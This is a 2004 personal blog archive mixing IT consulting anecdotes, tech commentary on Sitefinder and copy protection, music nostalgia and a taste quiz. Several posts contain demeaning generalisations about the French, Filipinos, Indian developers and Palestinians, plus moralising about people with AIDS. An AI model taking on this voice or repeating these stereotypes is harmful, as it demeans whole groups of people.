I have a particularly dopey cousin who hasn't gotten it through his head that I'm not interested in his multi-level marketing business, either as a consumer or as a participant. I don't see any particular need to purchase Coca Cola or other commodities that I can easily get at the supermarket or Costco, and his reseller prices on other items they tout are laughably marked up. Ordinarily, I'd let this one pass, but he tried indoctrinating my kid the last time he visited, and set his web browser home page to his MLM organization, while telling my kid that they sell great toys and to drop a hint to Dear Old Dad. OK, I don't expect anything particularly altruistic from companies targeting kids (i.e. cereals and toys), but as my cousin freely admitted, his MLM is not well regarded and people tend to run the other way when its name is mentioned (somehow I think they'd do better launching a national ad campaign with an endorsement from Hezbollah). One thing if you want to pitch to an adult, but don't try to indoctrinate a kid, for crying out loud. (To their credit, the company itself doesn't seem to encourage this sort of thing, but it's the independent sales motivation groups that push the stuff that encourage the cretinous behaviors).
 
For amusement, I decided to see which countries are hosting websites advertised by spam that I've received over the last two weeks. Only one was hosted by a US provider (Adelphia). The vast majority (57%) is hosted in Korea. Brazil accounts for 25%, and China for the remaining 18%. Funny how that correlates with intellectual capital piracy operations....
 
A rather appalling action by a mainline church is documented here and analyzed here.  Contrast that story with this.
 
And are the Filipinos wusses, or what?  Wie das Französisch, sie Übergabenaffen sind



Monday, July 19, 2004

 

Methodologies Part 4

Way back in Part 1, we were introduced to Immanent, which of course was later replaced with Immanent Mark 2, which has now been subsumed and sunsetted with the preferred standard now being Respect Employer's Large Business Unified Method (hereinafter referred to as RELBUM). RELBUM actually offers several advantages over Immanent in that it's a more concise and to the point as opposed to Immanent, and offers far less opportunity for the Powepoint pushers to wreak havoc, however, the latest twist on the situation is a system designed for Pompous Management Pests (in the interest of keeping this a family-oriented discussion I've edited the original definition) that we shall call  for purposes of this discussion "The Contrivance". Said Contrivance is one of those things that gives you excutive dashboards, issues tracking and all the other esoterica needed to run a large scale program, however it has a teeny problem. It stinks. There are some funny logic errors in there,  such as if a document that needs an approval has a minor edit, it resets the entire program to Red (the traffic light model works very well in program management) until the approver reapproves it. Needless to say, if a C-level type decides to check his executive dashboard online, and sees the entire program going Red, someone would best be advised to check out emigration after the chewing out that will result.
 
As I've previously mentioned, a couple of large clients had purchased Immanent, and I actually encountered one that rebranded it as their own proprietary methodology. Said client was a very large financial conglomerate, who was in the process of expanding away from financial services into some oddly diverse ventures, but the end result was of course the same old "let's create that ongoing revenue stream" thing. The client had some top-notch folks working for them, including probably the best CICS guru I've ever met. The only problem was that the program had a very wavering line of sponsorship in the higher levels of management, and that the system that they were trying to implement just didn't have the performance that the client was demanding, despite throwing a lot of mainframe MIPS at it. These guys were really tweaking this puppy and they still needed about a sixfold increase in performance to make their batch windows. I'm a great believer in divide and conquer, but this would've been a very interesting distributed database, in the Chinese sense of interesting. Not to mention there were some very critical windows at month, quarter and year-end closing that had no leeway. If something went bump in the night, oy vey.
 
We found ourselves ensconced at the client, who needed a realistic project plan for what it was going to take to implement this kaiju project. The client had already produced some plans, needless to say in Microsoft Project, which works very well until you try to level resources, and when I took a look at the existing plans, my reaction was basically, "Geez, Immanent Mark I.  Didn't think anyone was still using this!". The Boss (who as I noted is actually a very cool person) delegated the task of taking the existing plans and fully Immanentizing them to me, as I was the only person within a hundred mile radius who'd ever actually read the dreaded white binder. The big problem we had was that while the client had lots of smart people, not a one of them had ever been trained on this beast, and the rest of our team had never seen Immanent Mark I (some had seen Mark II, but had never actually figured out how to use the damn thing). The rest of the team was trained on antecedents of RELBUM, and the nominal project manager was completely mystified by Immanent. The deliverables they had spec'd out and planned didn't align at all with Immanent, and I was given the unenviable task of converting their milestones and terminologies (half of which were in a foreign language, fortunately somewhat comprehensible to me) into an Immanentized plan which would be presented to some senior duro come.
 
Needless to say my laptop's critical need detector went off and I had a hardware meltdown several hours before the plan was due. Not liking the idea of "my dog ate the homework", I attempted to recover as best I could, but the client's security policies, apparently adapted from something written by the Sicherheitspolizei, were somewhat restrictive, and I couldn't install my licensed copy of Microsoft Project onto one of their desktops. Their security policies were quite effective, except in the case of a very naive young foreign programmer, who clicked on a "Free Scratch and Win" popup and totally hosed their ultra-secure desktop build.  Unfortunately the rest of the team's laptops were otherwise engaged, and it took a quick and expensive trip to the local CompUSA to get a laptop that I could install the minimum tools needed to get the Immanentized plan, plus a really intense session trying to recreate two days work before the big meeting with the honcho. Thanks to some really great teamwork helping me level the resources before we announced that the project would end somewhere in the next epoch, we got the plan into Mr. Honcho's inbox before a major explosion. We only hoped we had guessed right on the number of resources....
 
The plan landed with a thud, as Mr. Honcho was not interested in a detailed line item plan. He wanted the 100K foot level of detail. The entire discussion of the detailed line item plan took about thirty seconds, and basically consisted of our senior guys doing the setup, him going "yup", and quickly moving to the tochis afn tisch topics of just how much this puppy was ultimately going to cost, and little things like progress payments and liquidated damages. Mr. Honcho then asked as an afterthought why we had bothered to do a detailed plan when his guys were perfectly capable of doing one. I figure the line item plan cost them somewhere in the neighborhood of about $25K. 

Sunday, July 18, 2004

 

Marvin, You're A Rotten Kid

Update: Thanks to a friend suggesting I check Dr. Demento, I've identified the artist as one Christine Nelson, who was Allan Sherman's female foil on "Sarah Jackman". The song was from an album called "Did You Come To Play Cards or To Talk?" released in 1966. The arranger / producer was a fellow named Lou Busch, who did the same for Allan Sherman. There's no reference to Christine appearing on the Ed Sullivan show, so I'll have to research a bit more to find out which TV show I actually heard this on.  Unfortunately, this track doesn't seem to be on any of the currently available Dr. Demento CDs.
 
Way, way back in when I was in 3rd grade or so, there was a hilarious bit on one of the variety shows (it might've been Ed Sullivan) where some comedienne did a song called "Marvin, You're A Rotten Kid" to the tune of "Funiculi, Funicula". Definitely Borscht Belt stuff, but it raised a buzz amongst all the parents. It faded into my memory, but as a typical frustrated parent (think Daffy Duck in "Rabbit Seasoning" when it comes to my kids) occasionally I wondered where the heck it came from and more importantly could I track it down.  I had Googled it before, and zilch, however, this afternoon I hit paydirt, well sort of.  The song, split into three parts, can be found here. I'm presently fighting with ProTools Free to reassemble it into a contiguous block (it just BSOD'd the computer it's installed on, and there are some annoying timing errors pasting the three blocks), but one of these hours I'll get the file together and find a place to post it.
 
Moral of course is that even the hugest obscurity can be found eventually on the web, but funny enough on the linked site there's no information about this song. The singer's accent is pure Noo Yawk, possibly affected. The humor is typical frustrated parent - "Go and play in traffic don't come back till Saturday".  Anyone have a clue who did this?
 
Reminds me of seeing a very obscure Warner Brothers cartoon called "The Mouse That Jack Built" when I was very little. The cartoon disappeared, and when I mentioned it to most film types they told me I was confusing the Jack Benny cast (who appeared as mice in the cartoon) with "The Honeymousers" (give you three guesses which TV show they were lampooning) but confirmation came from Leonard Maltin's book on animation, and sure enough, one afternoon the cartoon actually came on TV, however, it was cut to shreds and totally unintelligible. The reason? Rochester (Eddie Anderson).  A rather unbelievable reason to cut the cartoon, as while Rochester did have that raspy voice that some might deem stereotypical, he always got the best lines, and always got the best of Jack Benny.  Interestingly enough, it's not documented on this page, which is a compendium of censored Looney Tunes cartoons. Read and be infuriated what political correctness does to our heritage.




 

Puts 'n Loops

I take no schadenfreude in Martha's sentence. In her case it was a stop loss action, rather than a pure profit motive. Had it been for profit she should rightfully have the book thrown at her. However, Martha had a personal broker who should have known his customer, and anyone, especially someone who previously worked in the brokerage industry, should have known if you're that concerned over losing money, the thing to do is buy put options. Perhaps there were no appropriate exchange-traded puts for ImClone, in which case her brokerage would have written the options for her if she were a sufficiently profitable sucker customer. I don't think putting her in the slammer does anything other than encourager les autres, so effective in view of Mr. Lay and doubtless others to come. A more effective punishment in the case of hubris is humility, and I think making Martha spend her sentence and probation working a regular 40 hour week in a soup kitchen, making the place run well, and to use her talents to feed the patrons better than they've been getting, would be more fitting. Oh, one more thing. No limo, no Suburban. Public transportation only. I do relish the thought of her taking the train in from Westport to 125th Street (OK, OK, well maybe just a teeny bit of schadenfreude there).
 
Then again, she went and shot her mouth off. Quoth Martha to Baba Wawa:

When asked how she would handle prison food, fellow inmates and strip searches, she said, "I could do it … I'm a really good camper. I can sleep on the ground.… If it is looming ahead of me, I'm going to have to face it, and take it and do it and get it over with. And there's many other people that have gone to prison. Look at Nelson Mandela." 
I am not a fan of Mandela in any manner, shape or form.  One thing that people conveniently forget about Mandela is how literally the moment he was released he was singing hosannas to the Communists who supported him (and of course specifically ignoring all the "useful idiots" in the West who were agitating for him). I recall one name he specifically mentioned was an old-line South African commie named Joe Slovo who somehow wangled an appearance on 60 Minutes to propagandize for Mandela. And old Nelson is a good friend and admirer of my least favorite Husseini cousin. However, for too many people (including most unfortunately my own clergyman, a situation that distresses me), Mandela is an icon of sorts of freedom (thankfully I have a sense of irony, otherwise you'd be hearing noises like "gaak" and "hoctui" at this point) and it might seem a touch sacrilegious to compare a doyenne of party giving to a figure that did cause a revolution. So courtesy of one of the lunatics over on Fark, let's zing the lady, shall we?



Can anyone actually say they get King Crimson? The genesis of this rhetorical question comes from one of those six degrees things that defines my thought processes. I'm a fan of Phil Keaggy, most unusual for someone of my pedigree, but I became interested after reading a Guitar Player interview way back when, then got into Glass Harp, and some of his solo stuff. His instrumental albums are really great stuff, and while I'm not a fan theologically speaking, his vocal stuff in many cases is  fun and certainly is a heck of lot more positive than most crap that's out there. My friend John invited me to go see Keaggy at a church, and it was a great concert, just him solo with some delay lines for doing some unbelievable things with looping (PK also did a couple of great covers of Beatles songs that night; some of the church folk were a bit puzzled at that, but PK is a great Beatles fan, and actually gave an Olson guitar to Paul McCartney). PK's coming out with a DVD in a couple of weeks, after a long wait, and I've really been looking forward to sharing the show with my guitar playing friends to see how this awesome player jams.
 
The looping is where the connection to King Crimson comes in. As a guitar player, I've messed around a tiny bit with looping; just trying to do that great little piece in Queen's "Brighton Rock" where Brian May layers the harmonies (set your delay to 750 or 800ms. and 3 repeats  if you want to try). I've gotten a fairly good result, but sometimes you see players who do things with loops that just blow your mind. On his instructional tape from the mid-80's, Keaggy did an awesome version of "Amazing Grace " with his delay and an EBow, and every time I watch that, my jaw drops. There's a web site out there for guitar players who are interested in looping, and looking at some of the other players listed on there, one Robert Fripp came up. Sure enough, I dug out the first King Crimson album (with 21st Century Schizoid Man) and gave it a spin, interesting prog-rock relic, but no looping. Seeing as how my curiosity had been whetted, I took a look on eBay and Amazon, and came up with the Eyes Wide Open DVD. I decided to take a flyer on it and purchased it. It looked interesting enough, bass player was playing a Chapman Stick (one of those things like an EBow that every guitar player is interested in checking out, if not making it part of one's shtick), and the other guitar player was Adrian Belew, subject of countless articles in the guitar press.
 
I couldn't make head or tail out of the music on Eyes Wide Open. My wife came in, watched for about a minute, and left with a scowling face. Fripp was doing some interesting things with volume swells and looping, but there wasn't anything there that was grabbing me. As talented as Adrian Belew is, the stuff he was playing bordered on the cacophonous. There were no hooks in the music, you see. Phil Spector may be one crazy mofo, but he did have it right, the song has to have a great hook. Lots of interesting stuff there from a technician's point of view, but I found it to be totally soulless.
 
The interesting thing about this here is that while Fripp has apparently left all traces of the original King Crimson vision far behind, but Peter Sinfield, who probably had a heavier visionary role in the original "In The Court Of The Crimson King" and "Lark's Tongue In Aspic" has formed an outfit called the "21st Century Schizoid Band", which plays the mellotron-laden songs from the original outfit (there's an interesting video on their site of a flute bit from "Court" which absolutely nails it; it was a similar vibe to watching the Brian Wilson DVD of "Pet Sounds"). They've got a DVD available, I'm somewhat tempted..... 

Saturday, July 17, 2004

 

Some broken links fixed

Blogspot changed its' editing interface a couple of days ago, and the behavior of the link insertion button slightly changed. Ordinarily, I'd highlight the keyword, click the "insert link" button, paste the URL in, and things would work fine, however, this version inserts a link with an additional "http://" preamble for the links. I happened to check the raw HTML of a new post a few moments ago, caught the error, and went back through the last couple of days' posts to fix the links.
 
Mea culpa.


 

Methodologies Part 3

To paraphrase Groucho, consulting is the art of looking for trouble, finding it everywhere, diagnosing it incorrectly, and applying the wrong remedies.
 
On this most recent project, we were using a piece of tomfoolery which I'll call "Systematize" (M. Roget is probably spinning in his grave at my inspired use of his creation). Said methodology was supposed to be used as a data collection device prior to executing a transformation, however, the methods there merely collected some basic factoids, which could easily be gathered by running a simple SNMP manager and taking a cursory look at what's installed on the system. The type of information we really needed were the dependencies, and what was done to actually make applications work, things like drive mappings, data flows, hard code information, run books, and that sort of thing, which unfortunately for the most part just didn't exist. The people who had implemented these various systems were either long since departed from the company, or were too busy fighting fires or implementing the vanity feature/report du jour to even answer queries about how these things work, or in the very best instance, give an "I dunno" when asked how we were going to resolve the situation.
 
You see, security gap remediation was a very important part of things going on at Colditz, and it was almost impossible to find out how people did things like implement appropriate controls for applications. Things like audit trails were either difficult to find or non-existent, most applications had home-grown AAA (authentication, authorization and accounting) systems, and the one bit of documentation we had about data flows was lacking data about just how the data got from point A to point B.  Simple questions like does the data  get here by NDM or FTP couldn't be answered, but worse, "Systematize" had no place to capture it.  Of course it's a fairly trivial matter to extend something kept in a spreadsheet format, but if this was going to plug into a database (as it was eventually intended to), there would be all kinds of squawking from the methodology Nazis about how this information was to be recorded in an organized third normal form way.
 
Part of the problem was that we were hugely dependent on a wonderful piece of work that was implemented in a well known piece of groupware. Said database was split into two parts with a lot of redundant information in them, but one couldn't simply join the unique key between the two parts in a query to get the relevant information we needed to at least do elementary discovery, because the original data gathering effort had been started and stopped at least 3 times, and there were things where one part of the database had far more information recorded than the other side, basically leaving us to poke around in the dark. But "Systematize" was dependent upon this database having everything aligned, and so instead of merely joining the unique keys on both sides, we had to do a left outer join, and leave a bunch of "I Dunnos" in the "Systematize" records, and pray that someone would capture it into some form that would ultimately enable us to do the work. Unfortunately, "Systematize" was always a point-in-time exercise. Had someone merely said, wait until we can get all of our docs and data collection together, "Systematize" would've been easy to complete, and with some minor thought leadership, been able to get the additional info captured and presented to the point where we could actually do something with it. Unfortunately little things like mad boards and Sarbanes Oxley interfere with doing things in a logical progressive manner.
 
The other flaw we had here was trying to produce design and remediation recommendations for something very critical based on incomplete information. This is Not A Good Thing. Ferinstance, suppose you're running a bunch of critical systems on NT boxes, and you are scared that since Uncle Bill and his merry band have said no more service packs, you'd better move it to a newer Wintel platform. No problem, except for the fact that knowing developers like I do, undoubtedly there will be something specific to NT, usually taking advantage of a supremely obscure undocumented feature that won't be found out until doing an integration test, which of course is well past the design stage. I well remember a CLEC whose IT infrastructure was a mess to put it politely, who was completely dependent on Windows 95 (in 1998) because their developers didn't want to bother coding to NT 4 standards. Even a preliminary test caused a blue screen of death on NT. Feeling around in the dark for an IT solution isn't a terribly good idea, and sunlight is the best disinfectant. Unfortunately, sunlight can make the business owners go "oh shit" and say leave well enough alone, put a wrapper on it, keep it quiet, and don't bother me. And yes, LOB, it's going to take a lot of money to remediate.




Friday, July 16, 2004

 

Very sobering article for your consideration.

This article without a doubt is the scariest thing I've read in a long time. I don't know the site and can't verify its veracity, although apparently this has attracted much attention in the blogosphere as well as the Opinion Journal's. 
 
There are some skeptics out there and this skepticism is reasonable and healthy, however,  many respected commentators such as Michelle Malkin are on this one.  At the least, the scenario is too damn plausible for comfort, and absent proof otherwise, the thinking person will maintain his situational awareness in the presence of conditions such as depicted.
 
Perhaps I'm jingoistic, or perhaps I should invoke the 48 hour rule (where things that make the rounds on the blogosphere or the net in general should wait such time before being commented upon,  to verify its truthfulness), but as any reader of Tom Clancy or Frederick Forsyth can tell you sometimes even in fiction there is an astonishing amount of truth and facts.  I know that I was bitten by the French flake story, but the truthfulness of the climate in France that made that one plausible still stands.
 
Please read and keep yourselves informed. 

 

Nourishing Frogs

The solution to the HP bloatware problem was making Mom an Administrator on her computer. The software now actually loads after only a minute of disk churning (more'n'likely the result of only 128 MB RAM in the computer; the box is four years old, and pagefile churning) and no more installation after reinstallation after reinstallation of MS DAO. So what's the problem here? Any sysadmin worth his salt, much less an auditor will tell you that it's a Very Bad Thing to let users run with administrative privileges doing their normal routine tasks. There are of course functions that simply must be executed with administrative privileges, but that's what things like suid are there for (at least in *nix). And of course there's Tripwire in *nix, just to make sure that no new suid programs are unnoticed by the SAs. While I'm not enough of a Wintel systems programmer to speak authoritatively, I'm sure that there is analogous functionality in the Windows API.

Interestingly enough, this is not the only software I've seen for peripherals that protests mightily that the user doesn't have administrative privileges. I bought a couple of Kodak digital cameras for the kids and Mom, and the software complains not once, but twice on startup about administrative privileges.

Obviously, these wares (I refuse to dignify them with the moniker of packages, and the diminutive 'z' on the end should be reserved for the chazzerai one obtains on P2P and dubious sites) are doing something that requires privileged system-level access, and rather than doing things the right way, the easy way is just to assume that every user of the thing has privileged access. Sanjay and Apu must be quite proud of their creations.

My current engagement at Colditz, er, Respected Large Financial Institution is ending soon, due to a C-level pissing contest, and the bottom line cost of the project escalating rapidly, despite a board-level mandate and Sarbanes-Oxley scrutiny that really, and I mean really, wants this thing done. Without going into details here, the project's financial model has changed rapidly over the last month, where the requirement for funding a lot of what we need to do has been shifted from an overall pool for bucks to make this happen client-wide over to the individual lines of business. The LOB that I work with, apart from having some very smart people around, has historically been the stepchild behind all the sexy capital markets and investment banking stuff, and has traditionally done things their own way (read as "on the cheap"). Things like desktop PCs running server operating systems for mission-critical apps, their own network infrastructure, DOS applications still running critical business functions, cowboy application developers who don't document anything, that sort of thing. The unofficial scuttlebutt is that 75% of the overall program will be cancelled. The rest of it is so far along that cancelling it would cost more than completing it.

And it seems that the UN says that Norway is the best place to live on the planet. Let's see, socialistic economy and social services - check; UN endorsement - check; incredibly high taxes - check; most memorable Norwegian was Vidkun Quisling - check; boycotting Israeli products - check; and major contribution to cuisine is herring. Uh, yeah. The US landed in eighth place.  Sure glad all those UN types tear up the shopping districts in Oslo and Bergen.





Thursday, July 15, 2004

 

Rants, Parodies, Sitefinder and Dirt. A Value-Added Post!

Asshatted celebrity du jour, Richard Gere:
"A vicious terrorist is out there. It is not Osama bin Laden, it is AIDS," Hollywood actor Richard Gere told the conference. "The biggest threat to our livelihood, our happiness is AIDS."
'Scuse me, jerk. I feel sorry for people who've gotten AIDS through transfusions and the like, but let's face facts. Most people get it through behavior which they're supposedly at least nominally in control of. I didn't see Gere downtown on 9/11, so I don't think he has any right to say what a threat is. I was there pretty boy, and dammit, that was a threat. Along with several thousand other people, I was sweating bullets that I wouldn't see my wife and kids again, shoving down a staircase in the World Financial Center while we were all praying the WTC wouldn't come down on us, or worse, worrying that there was another plane on the way. And Gere has the goddamned nerve to say that just because some people just can't stop their promiscuity and aberrant behaviors that what they're getting is worse than Bin Laden? What did you do for the children of the firemen, cops, and tradespeople who died that day, shmuck? Go worry about Tibet. I hear they're opening a multiplex in Llhasa.

One thing that gets me very hot under the collar is moral relativism as practiced by the idiotic LLLs out there. Especially when it comes to things like terrorism.

Excellent read from John Derbyshire here. Very relevant when one sees the Hitler Jugend camps that the quote unquote Palestinians have set up to teach kids the art and science of massacre. And courtesy of some of the commenters on Little Green Footballs, the sound you now hear is Allan Sherman spinning in his grave (well, crypt to be precise)....

Hello mulla. Hello fatwa.
Here I am at Camp Intifada.
Camp is very entertaining.
And today we had some special sniper training.

I went hiking to Ramallah.
Arafat gave me half a dollah.
He said "be martyrs, don't be traitors..
"Or we'll hang you like we do collaborators."
and....
Hello Mudda, Hello fadda,
Here I am in Camp Intifada
Camp is really very exciting
And we learned some tricky ways to do jew-fighting.

We went playing in the ocean,
In our wetsuits, poison potion,
Arafat gave us, to do his bidding,
Killing jews is really fun and that's not kidding!

Little Abduli, he's Yasser's darling,
At the jews, he's always snarling
But come sundown, Yasser summons,
To come over and don't forget a box of WetOnes
Incidentally, "Hello Muddah" is probably the least played Allan Sherman track in my collection. "Crazy Downtown", "Al and Yetta", "Shake Hands With Your Uncle Max" and "Sarah Jackman" get far more airplay. Damn, he was funny.

And for the propellerheads in the audience, we have the ICANN report on Verisign's Sitefinder fiasco. For a refresher, basically Sitefinder was a kludge on top of DNS where if a hostname was mistyped or in some other way munged (or for that matter uninstantiated), the DNS response returned would be one of Verisign's servers. Nothing earth-shattering, except that it would break other protocols besides HTTP which would expect a traditional DNS error. For example, imagine some low-level guy creates a VPN client configuration file and sends it to the corporate road warriors, and said config file has a mistype that Sitefinder redirects to their server. Awfully hard for the help desk to diagnose, eh? (The interesting corollary to this is that if you look at some Hijack This! logs of folks trying to clean browser hijacker infections is that the hijackers tend to point to IP addresses rather than hostnames, as those clods thrive on mistyped host names. They're rather notorious for putting up porn sites at common misspellings of fave raves, witness britneyspeers dot com and of course whitehouse dot com). It would be supremely impractical, but imagine for a moment if a name resolution function call could have a boolean parameter (HTTP-related, yes or no) associated with it, and if that parameter were true, a bit would be set in the reserved area of the HTTP-request indicating whether it was OK to respond with a Sitefinder-redirected response. From a coding perspective, it's trivial on both ends, but publicizing and getting acceptance of a new API function such as this would be a nightmare.

Just to serve up a tiny bit of corporate dirt, I can name (but really shouldn't in a public forum) a very large financial institution where internal DNS is still broken to the point where there are lots of hard-coded IP addresses not only in applications, but in things like file transfers and message queues. Host files will be kept around for a while, since the servers all have multiple names, and the AD guys are overwhelmed just fighting fires, much less being bothered to put in a simple gethostbyname() call. And interestingly enough, their QIP deployment is proceeding nicely.....

Wednesday, July 14, 2004

 

Obligatory Lurch Content Du Semaine and Other Musings

Born on the bayou, my butt.

I guess one can expect this sort of thing from our icons of our younger days. And it's worth it to see Lurch making an ass of himself (he is plugged in, but who knows where the other end of the cord is; hopefully the FOH sound guy had that fader way, way down if it was indeed plugged into an amp, or worse, direct in or through a POD). There's a great bit in this Weekly Standard story about Lurch's musical inclinations about him wussing out when getting to the most notorious line in "Walk On The Wild Side". Show some cojones, man.

As far as Mr. Fogerty is concerned, one thing that any sentient person has realized over the years is that most people whose full-time gig is in the performing arts are a bit off-center, and the best course of action is to ignore their idiocies. Since they thrive on attention, even the act of commenting on their stupidity gives them some validation and encourages them.

Here's an interesting corollary to the above observation. Pete Townsend actually refused permission for Farenheit 9/11's producers to use "Won't Get Fooled Again", because
I have never hidden the fact that at the beginning of the war in Iraq I was a supporter. But now, like millions of others, I am less sure we did the right thing.
OK perhaps not a ringing endorsement, but at least the sign of a thinking man. Townsend's diary entry on the matter is most interesting, detailing the bullying tactics of Moore and his henchmen, including Harvey Weinstein. I seem to remember a quote somewhere in "Before I Get Old", a great history of The Who, that hippie-dom was actually loathed or ignored by most of the group; I'll have to dig that one out.

For the gamers among you, there's the latest in copy protection or "do something that uses undocumented low-level functions that louses up your customers' systems". As if the copy protection industry hasn't learned yet, apparently this quote unquote solution has been silently installing devices into your Wintel boxes along with the game, but not uninstalling them when you've tired of the game and wish to rid your system of it. There have been reports of system instability and huge resource consumption associated with this variant of copy protection, and of course a lot of the games have been cracked or are in the process of being cracked.

There are non-intrusive ways of protecting high value content. Consider for example the way a market data vendor does it, with a permissioning system that allows users only to access content that they're paying for (i.e. an equities trader doesn't necessarily need to look at bond pricing pages, to use the simplest of examples), and in the case of lower-value (at least determined by the retail price) content, surely a DRM-based solution would be adequate, along with a limited number of "grace" plays in the event of an interruption of communications. The game loads, phones home via web services (so as not to need holes punched in a firewall), the game receives a go/no go from the server. This way, no need for copy protection, and in fact the game could be freely copied. The licensing server would treat a game copy, to use Borland's metaphor, as if it were a book, with only one copy getting an authorization to play at any one time. Encrypt the executables or data of the game if you wish, and deliver a one-time key with the response from the authorization server.

And just to make us DSL types feel really, I mean really rotten, check out the speeds being offered in Japan. The equivalent of a DS3 for downloading? 100 megabit fiber coming (realistically, instead of Real Soon Now)? Jack Valenti and Cary Sherman would absolutely have kittens. And I presume they haven't checked out those shops near Akihabara that sell all the pirated stuff. That's the sort of thing that bugs the hell out of me. These pompous asses should be screaming in Tokyo, Brasilia and Beijing about the piracy going on in those countries instead of suing teenagers.

Tuesday, July 13, 2004

 

Weasels

Update - there are reports that the woman's story is false. Just to reiterate my position on this matter, the French suck their prejudice in with their mother's milk, and they are a bunch of two-faced swine when it comes to protecting schoolkids from rampaging slobs who want minarets placed on Sacre Coeur. Everyone was pro-Vichy when the wind was blowing that way, and when DeGaulle blundered into town, everyone was a Resistance Fighter. Watch "The Sorrow And The Pity" and you'll see French (ahem) character in action. The interesting thing here is that given Frawnce's conduct and things like this, everyone assumed the worst. Just because the woman is a flake, don't forget that the climate there has generated more swastika daubings than in a Goebbels newsreel and made kids have to wear baseball hats to hide their religious identity.

My original commentary follows.....

In La Belle France, the Islamofascist "Freedom Fighters" are showing their bravery, by attacking a 23 year old woman and her baby because they thought she was Jewish. About 15 years ago, my wife and I were returning from Chartres on the banlieu (suburban) train to Paris after a day trip to take the famed guided tour of the cathedral with Malcolm Miller. We were sitting in the train waiting for it to start, talking softly in English, when a bunch of teenage punks started taunting us (we were at the grand old age of 30). I quickly switched to German (which my wife doesn't speak) to avoid a confrontation, but the punks had heard English and were looking for trouble. I put on my sternest face, and when the leader of the punks got into my face, snapped at him "Si ne ce pas était pour les Américains, vous parleriez l'Allemand" (If it wasn't for the Americans, you'd be speaking German). They backed off.

Another article on the incident here here. Chirac speaketh:
French President Jacques Chirac said he was "horrified by this odious attack" that occurred only hours after he called on the French to step up the struggle against anti-Semitism and racism. All French political leaders expressed their horror and disgust at a crime "smearing France", said Jean-Louis Debr , the Chairman of the National Assembly.

I'm shocked, shocked to find gambling is going on here!

You know, Stanley Kubrick nailed it in "Paths Of Glory". The French are two-faced amoral weasels. No wonder they banned that movie for 30 years, it shows their national character to a 'T'. And for some strange reason, they didn't show "The Sorrow And The Pity" on French TV for 15 years. Les Francais sont cochons.

The condescending attitude is so pervasive over there it isn't funny. Case in point, we were eating in a restaurant chain in Paris called Hippo, which I gather is the local equivalent of the Sizzler. As I previously noted, I have a minor facility in French, certainly enough for tourist purposes, and I usually greeted and spoke with shopkeepers and waiters in French. For the most part, they had a reasonable command of English and usually switched over with a smile and we continued the transaction, but there was a certain looking down the nose (sorry, but I took Spanish in school, and just picked up French along the way; my accent and pronunciation is pure 34th arrondissement, in Brooklyn, that is). The lone exceptions to this were a couple of hobby shops I visited, seeking to pick up model trains by Jouef unavailable in the US for my collection. There, the proprietors were cheerful and friendly (especially in one shop near Gare St. Lazare, we spent about an hour just chatting), and most glad to see an American take an interest in obscure SNCF models. But I digress, and back to Hippo. The restaurant's waitstaff was populated by leggy model types, who were obviously looking for their big break, and waiting tables until it came. We ordered in French, and although we detected a sniff (we dared commit the sin of ordering our meat au point, or medium well, which translates in American terms to medium rare, as opposed to the French tradition of ordering blue meat). We finished our main course, and were ordering dessert. My wife asked in English, "What ice cream flavors do you have?", at which point the model wannabe snapped back nastily "En FRANCAIS!!!!". I drily responded "Quelle parfums?" and let it slide, but I was rather ticked that it was a service compris restaurant, as I wanted to give her a one centime tip.

Monday, July 12, 2004

 

The Proprietor's Cultural Index

And just for the hell of it, let's do my cultural (or nekulturny as the case may be) index. Score a point for every choice in Column A. Divide by the total number of questions answered (in other words, ignore the Don't Knows and ties). Be frightened or glad when you realize how close or far you are from my cultural tastes.

Given the choice, would you prefer:
1. Cathy or Patty?
2. Bailey or Jennifer?
3. Heckle and Jeckle or Screwy Squirrel?
4. Tex Avery or Ward Kimball?
5. Mick Taylor or Ron Wood?
6. Cisco or Nortel?
7. Reuters or Bloomberg?
8. Solaris or AIX?
9. Specialist or Clearing Broker?
10. Exile On Main Street or Sticky Fingers?
11. Tommy or Quadrophenia?
12. Get Yer Ya-Yas Out or Live At Leeds?
13. Stratocaster or Telecaster?
14. SG or Les Paul?
15. Vox or Fender?
16. Steak avec sauce bearnaise or au poivre?
17. Chimay or Orval?
18. Speyside or Islay?
19. SuSE or Red Hat?
20. Revolver or Sgt. Pepper?
21. Paulie or Christuffuh?
22. German or French?
23. Ludwig or Pearl?
24. D'Angelico or D'Aquisto?
25. Brooklyn diners or Jersey diners?
26. The Addams Family or The Munsters?
27. Pat Priest or Beverly Owen?
28. Major Hochstetter or General Burkhalter?
29. Bialys or Bagels?
30. GG-1 or AEM-7?
31. '63 E-Type Roadster or '63 Corvette?
32. '57 Corvette or '57 T-Bird?
33. Tubes or Solid State?
34. Stan Getz or Gerry Mulligan?
35. Wes Montgomery on Riverside or Wes Montgomery on Verve?
36. Charlie Byrd or Barney Kessel?
37. Kaiju or Kurosawa?
38. Bowery Bugs or Rabbit Seasoning?
39. Crusader Rabbit or George Of The Jungle?
40. Sandy Becker or Uncle Fred Scott?
41. Officer Joe or Captain Jack?
42. Fox's U-Bet or Bosco?
43. Bosco or Cocoa Marsh?
44. Chow Fun or Lo Mein?
45. Arthur Bryant's or Virgil's?
46. Chuck Jones or Friz Freleng?
47. Pet Sounds or Smile?
48. "City On The Edge Of Forever" or "Where No Man Has Gone Before"?
49. Forbidden Planet or 2001?
50. Tenneseean or Country Gentleman?
51. Clausewitz or Sun Tzu?
52. Machiavelli or Metternich?
53. Otis Redding or Wilson Pickett?
54. Outerbridge or Goethals?
55. Turnpike or Parkway?
56. Route 35 or Route 9? (Alright already with the Jersey questions!)
57. Thunderbird 2 or Thunderbird 1?
58. Nathan's or Corn Dogs?
59. Corned Beef or Pastrami?
60. Knishes, round or square?
61. Pauillac or Margaux?
62. Vouvray or Montrachet?
63. Black Course at Bethpage or Winged Foot?
64. Jack or Arnie?
65. Yankees or Mets?
66. Schaefer or Rheingold?
67. '69 Mets won it or the Cubs choked?
68. MFN or MFS?
69. MQ or TIB?
70. Boss 302 or 455 Hemi?
71. EMD or GE?
72. Constellation or DC3?
73. Starship Troopers or The Forever War?
74. Dune or Foundation?
75. Destination Moon or The Conquest Of Space?
76. Kaspar Gutman or Joel Cairo?
77. The Bowery Boys or The Dead End Kids?
78. Joe Besser or Joe DeRita?
79. Abbott and Costello Meet Frankenstein or the Abbott and Costello TV show?
80. Duck Soup or A Night At The Opera?
81. Blazing Saddles or Young Frankenstein?
82. Sinatra on Capitol or Sinatra on Reprise?
83. Dave Berg or Jack Davis?
84. Sergio Aragones or Don Martin?
85. Sergio Mendes or Herb Alpert?
86. The President's Analyst or Our Man Flint?
87. Operation Crossbow or The Heroes Of Telemark?
88. Mr. Terrific or Captain Nice?
